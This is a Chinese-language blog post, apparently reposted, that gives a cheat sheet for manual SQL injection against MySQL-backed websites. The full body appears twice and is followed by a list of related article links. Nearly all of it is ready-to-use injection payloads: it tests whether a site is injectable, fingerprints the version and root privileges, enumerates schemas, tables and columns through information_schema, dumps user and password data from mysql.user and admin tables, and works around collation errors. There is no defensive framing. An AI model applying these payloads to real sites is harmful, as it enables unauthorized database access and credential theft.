Mysql 基本注入
2014-05-17 19:39
211 查看
================================
判断是否存在注入: and 1=1 and 1=2
查看是否为mysql数据库: /*asd ---因为只有mysql支持/* 注释
查看mysql版本: and ord(mid(version(),1,1))>51 /* --- 51的ASCII码代表3,即版本3
具体确定版本号mysql: /*!30000%20s*/ 返回错误表示大于版本3.0,
/*!50000%20s*/ 返回正确表示小于版本5.0
/*!40016%20s*/ 返回正确 /*40015%20s*/ 返回错误 ---则版本为4.0.15
推出: /*!50000 SQL语句*/ 如果当前数据库版本号大于等于50000,SQL语句就执行
查看是不是root权限: and ord(mid(user(),1,1))>114 /*
判断语句查询的字段数: order by 10 或者 union select 1,1,1,1 一个一个增加判断
联合查询(4.0以上的版本支持):union select 1,2,3,4,5,6,7,8,9,10 from admin
相关函数: system_user()系统用户名
user()
用户名
current_user() 当前用户名
session_user()连接数据库的用户名
database()
数据库名
version()
MySQL数据库版本
load_file()
读取本地文件的函数
@@datadir
读取数据库路径
@@basedir
MySQL安装路径
version_complie_os操作系统
判断如果有root权限,可以使用load_file()
=====================================
(1)查询数据库用户:
and 1=2 union select GROUP_CONCAT(user,0x5f,password) from mysql.user
(2)查询所有数据库:
and 1=2 union select GROUP_CONCAT(schema_name) from information_schema.schemata
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata)t
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata where schema_name not in ('information_schema','performance_schema'))t
(3)查询所有表名:
and 1=2 union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
and 1=2 union select GROUP_CONCAT(table_name) from (select * from information_schema.tables where table_schema=database())t
(4)查询指定表的所有列:
and 1=2 union select GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database()
and 1=2 union select GROUP_CONCAT(column_name) from (select * from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database())t
注意:之所以限定database是因为可能存在同名表(位于另外数据库)。
当注射后页面显示:
(1)Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
可以使用convert()函数,如:
and 1=2 union select convert(GROUP_CONCAT(name,0x5F,password) using latin1) from admin
似乎可以使用unhex(hex())方式
and 1=2 union select unhex(hex(GROUP_CONCAT(name,0x5F,password))) from admin
(2)Illegal mix of collations for operation 'UNION'
使用hex函数,如:
and 1=2 union select hex(GROUP_CONCAT(name,0x5F,password)) from admin
参考:http://www.07net01.com/security/sqljibenzhuruyuju_585433_1379245164.html
判断是否存在注入: and 1=1 and 1=2
查看是否为mysql数据库: /*asd ---因为只有mysql支持/* 注释
查看mysql版本: and ord(mid(version(),1,1))>51 /* --- 51的ASCII码代表3,即版本3
具体确定版本号mysql: /*!30000%20s*/ 返回错误表示大于版本3.0,
/*!50000%20s*/ 返回正确表示小于版本5.0
/*!40016%20s*/ 返回正确 /*40015%20s*/ 返回错误 ---则版本为4.0.15
推出: /*!50000 SQL语句*/ 如果当前数据库版本号大于等于50000,SQL语句就执行
查看是不是root权限: and ord(mid(user(),1,1))>114 /*
判断语句查询的字段数: order by 10 或者 union select 1,1,1,1 一个一个增加判断
联合查询(4.0以上的版本支持):union select 1,2,3,4,5,6,7,8,9,10 from admin
相关函数: system_user()系统用户名
user()
用户名
current_user() 当前用户名
session_user()连接数据库的用户名
database()
数据库名
version()
MySQL数据库版本
load_file()
读取本地文件的函数
@@datadir
读取数据库路径
@@basedir
MySQL安装路径
version_complie_os操作系统
判断如果有root权限,可以使用load_file()
=====================================
(1)查询数据库用户:
and 1=2 union select GROUP_CONCAT(user,0x5f,password) from mysql.user
(2)查询所有数据库:
and 1=2 union select GROUP_CONCAT(schema_name) from information_schema.schemata
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata)t
and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata where schema_name not in ('information_schema','performance_schema'))t
(3)查询所有表名:
and 1=2 union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
and 1=2 union select GROUP_CONCAT(table_name) from (select * from information_schema.tables where table_schema=database())t
(4)查询指定表的所有列:
and 1=2 union select GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database()
and 1=2 union select GROUP_CONCAT(column_name) from (select * from information_schema.columns where table_name=0x61646D696E and TABLE_SCHEMA=database())t
注意:之所以限定database是因为可能存在同名表(位于另外数据库)。
当注射后页面显示:
(1)Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
可以使用convert()函数,如:
and 1=2 union select convert(GROUP_CONCAT(name,0x5F,password) using latin1) from admin
似乎可以使用unhex(hex())方式
and 1=2 union select unhex(hex(GROUP_CONCAT(name,0x5F,password))) from admin
(2)Illegal mix of collations for operation 'UNION'
使用hex函数,如:
and 1=2 union select hex(GROUP_CONCAT(name,0x5F,password)) from admin
参考:http://www.07net01.com/security/sqljibenzhuruyuju_585433_1379245164.html
相关文章推荐
- 网络安全系列之十八 MySQL基本操作(PHP注入基础)
- 新手科普 | MySQL手工注入之基本注入流程
- MySQL安装和基本使用方法
- MySQL 4.1.0 中文参考手册 --- 6.6 基本的 MySQL 用户实用命令
- anjuta的基本使用方法(包括如何设置MYSQL)
- 查看mysql基本信息的命令
- 基本的 MySQL 用户实用命令
- MySQL中create table语句的基本语法是
- mysql存储过程基本函数
- Ubuntu Linux:MySQL安装与MYSQL基本操作
- MySQL的基本使用
- 对php+mysql的注入攻击
- 由Jsp+Mysql注入到root权限的全程展 【好久没有安全类文章了,转一篇看看】
- MySql基本语法参考
- MYSQL常用命令(二) 基本操作命令
- Linux Mysql基本命令
- MySQL的基本应用
- Red Hat Linux基本知识(网络配置,安装appache,mysql,php,zend,jdk,tomcat)
- mysql存储过程基本函数
- Mysql的基本知识